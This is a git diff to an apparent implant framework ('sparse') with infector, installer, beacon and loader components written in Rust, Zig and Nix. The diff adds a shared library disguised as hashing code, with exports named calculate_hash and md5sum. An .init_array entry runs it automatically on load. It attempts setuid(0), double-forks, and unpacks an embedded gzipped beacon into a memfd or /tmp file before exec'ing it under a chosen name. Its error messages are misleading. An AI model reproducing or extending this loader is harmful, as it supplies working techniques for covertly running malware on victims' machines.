diff --git a/Cargo.lock b/Cargo.lock index 12ef3eb..58cf903 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3205,6 +3205,9 @@ dependencies = [ [[package]] name = "sparse-infector" version = "2.0.0" +dependencies = [ + "sparse-actions", +] [[package]] name = "sparse-server" @@ -3253,10 +3256,20 @@ dependencies = [ [[package]] name = "sparse-unix-beacon" version = "2.0.0" +dependencies = [ + "errno", + "libc", +] [[package]] name = "sparse-unix-installer" version = "2.0.0" +dependencies = [ + "rand 0.9.0", + "sparse-actions", + "sparse-infector", + "structopt", +] [[package]] name = "sparse-windows-beacon" diff --git a/flake.nix b/flake.nix index e97045f..1c0a0f8 100644 --- a/flake.nix +++ b/flake.nix @@ -56,12 +56,11 @@ libpcap-linux-musl libpcap-freebsd; buildTools = with pkgs; rec { - linux = [ + base = [ # Tools for local compilation lld zig clang - glibc libclang mold @@ -72,9 +71,10 @@ binaryen sqlx-cli ]; - freebsd = buildTools.linux + linux = buildTools.base ++ [ glibc musl ]; + freebsd = buildTools.base ++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ]; - windows = buildTools.linux ++ [ + windows = buildTools.base ++ [ pkgsCross.mingwW64.stdenv.cc pkgsCross.mingwW64.windows.pthreads ]; @@ -95,6 +95,10 @@ # Cargo lint tools taplo cargo-deny + + # Docs + man-pages + man-pages-posix ]; craneLib = (crane.mkLib pkgs).overrideToolchain (p: diff --git a/packages.nix b/packages.nix index 0651035..e880504 100644 --- a/packages.nix +++ b/packages.nix @@ -181,6 +181,8 @@ let --summary all \ --prefix $out \ --release=small \ + -Dfork \ + -Dos=linux \ -Dbeacon=${sparse-beacon-linux}/bin/sparse-unix-beacon \ -Dtarget=x86_64-linux-musl \ --verbose @@ -201,6 +203,8 @@ let --summary all \ --prefix $out \ --release=small \ + -Dfork \ + -Dos=freebsd \ -Dtarget=x86_64-freebsd \ -Dbeacon=${sparse-beacon-freebsd}/bin/sparse-unix-beacon \ --sysroot ${freebsd-libs} \ @@ -219,7 +223,7 @@ let CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; - SPARSE_LOADER_LINUX = "${linux-loader}/lib/libunix-loader.so"; + SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so"; }); sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // { @@ -232,7 +236,7 @@ let CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; - SPARSE_LOADER_FREEBSD = "${freebsd-loader}/lib/libunix-loader.so"; + SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so"; }); sparse-installer-freebsd = diff --git a/sparse-unix-beacon/Cargo.toml b/sparse-unix-beacon/Cargo.toml index dd306ea..d0d309e 100644 --- a/sparse-unix-beacon/Cargo.toml +++ b/sparse-unix-beacon/Cargo.toml @@ -4,3 +4,5 @@ edition = "2024" version.workspace = true [dependencies] +libc = "0.2" +errno = "0.3" diff --git a/sparse-unix-beacon/src/main.rs b/sparse-unix-beacon/src/main.rs index e7a11a9..4844a4d 100644 --- a/sparse-unix-beacon/src/main.rs +++ b/sparse-unix-beacon/src/main.rs @@ -1,3 +1,14 @@ fn main() { println!("Hello, world!"); + + #[cfg(target_os = "freebsd")] + unsafe { + let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0); + libc::sem_post(sem); + } + + println!("Hello, world!"); + unsafe { println!("\n{}\n", libc::getpid()) }; + + loop {} } diff --git a/unix-loader/build.zig b/unix-loader/build.zig index fa1b509..e01ebba 100644 --- a/unix-loader/build.zig +++ b/unix-loader/build.zig @@ -1,7 +1,14 @@ const std = @import("std"); pub fn build(b: *std.Build) !void { + var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator); + defer arena.deinit(); + const alloc = arena.allocator(); + const beacon = b.option([]const u8, "beacon", "path to beacon to load") orelse std.debug.panic("Expected a path to a beacon to be provided with -Dbeacon", .{}); + const target_os = b.option([]const u8, "os", "os name to inject in final binary") orelse "linux"; + const fork = b.option(bool, "fork", "whether to fork or take over the process") orelse false; + const beacon_path = std.Build.LazyPath{ .cwd_relative = beacon }; const target = b.standardTargetOptions(.{}); @@ -26,14 +33,21 @@ pub fn build(b: *std.Build) !void { .pic = true, }); + const options = b.addOptions(); + options.addOption(bool, "fork", fork); + libloader.addIncludePath(b.path("src")); libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon }); - libloader.linkLibC(); + libloader.root_module.addOptions("config", options); + + if (target.result.os.tag == .freebsd) { + libloader.linkLibC(); + } libloader.step.dependOn(&tool_step.step); var lib = b.addSharedLibrary(.{ - .name = "unix-loader", + .name = try std.fmt.allocPrint(alloc, "unix-loader-{s}", .{target_os}), .root_source_file = b.path("src/loader.zig"), .target = target, .optimize = optimize, @@ -44,8 +58,6 @@ pub fn build(b: *std.Build) !void { .name = "test-loader", .root_source_file = b.path("src/test_run.zig"), .target = target, - .optimize = optimize, - .strip = true, }); lib.addIncludePath(b.path("src")); diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig index 2e36d4d..af7ad26 100644 --- a/unix-loader/src/libloader.zig +++ b/unix-loader/src/libloader.zig @@ -1,4 +1,6 @@ +const builtin = @import("builtin"); const std = @import("std"); +const posix = std.posix; const beacon = @embedFile("beacon"); @@ -6,61 +8,104 @@ const Parameters = @cImport({ @cInclude("abi.h"); }).Parameters; +const config = @import("config"); + +fn open_temp() !std.fs.File { + switch (builtin.os.tag) { + .linux => { + const fd = posix.memfd_create("", 0); + return std.fs.File{ .handle = fd }; + }, + else => { + return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 }); + }, + } +} + +fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { + var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe); + var exe_file = try open_temp(); + + try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer()); + + var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined; + const params_input_ptr: [*]u8 = @ptrCast(parameters); + @memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr); + params_buffer[@sizeOf(Parameters)] = 0; + + try exe_file.writer().writeAll(¶ms_buffer); + + var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator); + defer arena.deinit(); + const alloc = arena.allocator(); + + const file_path = switch (builtin.os.tag) { + .linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}), + else => "/tmp/libcryptoint", + }; + + exe_file.close(); + + const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]); + const file_path_ptr = try alloc.dupeZ(u8, file_path); + + const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null }; + const envp: [*:null]const ?[*:0]const u8 = &.{null}; + + switch (posix.execveZ(file_path_ptr, argv, envp)) { + else => |e| { + if (builtin.mode == .Debug) { + std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)}); + } + }, + } + + posix.exit(1); +} + fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { - std.debug.print("Test {s}", .{parameters.beacon_identifier}); + var uid: usize = undefined; + if (builtin.os.tag == .linux) { + uid = std.os.linux.syscall0(.getuid); + try posix.setuid(0); - const uid = std.os.linux.getuid(); - _ = std.c.setuid(0); - - if (std.os.linux.getuid() != 0) { - return; - } - - const pid = std.c.fork(); - if (pid == 0) { - if (std.c.fork() == 0) { - const exe_fd = try std.posix.memfd_create("", 0); - var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe); - var exe_file = std.fs.File{ .handle = exe_fd }; - - try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer()); - - var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined; - const params_input_ptr: [*]u8 = @ptrCast(parameters); - @memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr); - params_buffer[@sizeOf(Parameters)] = 0; - - try exe_file.writer().writeAll(¶ms_buffer); - - var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator); - defer arena.deinit(); - const alloc = arena.allocator(); - - const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd}); - - const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]); - const file_path_ptr = try alloc.dupeZ(u8, file_path); - - const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null }; - const envp: [*:null]const ?[*:0]const u8 = &.{null}; - - _ = std.c.execve(file_path_ptr, argv, envp); - std.c.exit(1); + if (std.os.linux.syscall0() != 0) { + return; } - std.c.exit(0); - } else { - var status: c_int = 0; - _ = std.c.waitpid(pid, &status, 0); - _ = std.c.kill(pid, std.c.SIG.KILL); } - _ = std.c.setuid(uid); + if (!config.fork) { + try exec_beacon(gzipped_exe, parameters); + } else { + const pid = try posix.fork(); + if (pid == 0) { + if (try posix.fork() == 0) { + try exec_beacon(gzipped_exe, parameters); + } else if (builtin.os.tag != .linux) { + const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0); + + _ = std.c.sem_wait(sem); + + posix.unlink("/tmp/libcryptoint") catch {}; + } + posix.exit(0); + } else { + _ = posix.waitpid(pid, 0); + if (builtin.os.tag == .linux) { + posix.kill(pid, 9) catch {}; + } + } + + if (builtin.os.tag == .linux) { + try posix.setuid(uid); + } + } } export fn hash_internals(parameters: *Parameters) void { use_beacon(beacon, parameters) catch |err| { - if (@import("builtin").mode == .Debug) { - std.debug.print("Error using hash internals! {any}", .{err}); + if (builtin.mode == .Debug) { + std.debug.print("External error computing hash! {any}\n", .{err}); } }; } diff --git a/unix-loader/src/loader.zig b/unix-loader/src/loader.zig index 37fd5a3..6cff714 100644 --- a/unix-loader/src/loader.zig +++ b/unix-loader/src/loader.zig @@ -20,7 +20,8 @@ fn fill_parameters() !void { @memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer); } -export fn calculate_hash() void { +export fn calculate_hash() callconv(.C) void { + std.io.getStdOut().writeAll("Loaded!") catch {}; fill_parameters() catch |err| { if (dbg) { std.debug.print("Error calculating hash! {any}", .{err}); @@ -30,6 +31,8 @@ export fn calculate_hash() void { hash_internals(&file_parameters); } +export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash}; + export fn md4sum() void {} export fn md5sum() void {} export fn sha256sum() void {} diff --git a/unix-loader/src/test_run.zig b/unix-loader/src/test_run.zig index 8905790..94cf97e 100644 --- a/unix-loader/src/test_run.zig +++ b/unix-loader/src/test_run.zig @@ -1,5 +1,11 @@ -extern fn hash_internals() void; +extern fn hash_internals(parameters: *Parameters) void; + +const Parameters = @cImport({ + @cInclude("abi.h"); +}).Parameters; + +var file_parameters: Parameters = .{}; pub fn main() void { - hash_internals(); + hash_internals(&file_parameters); }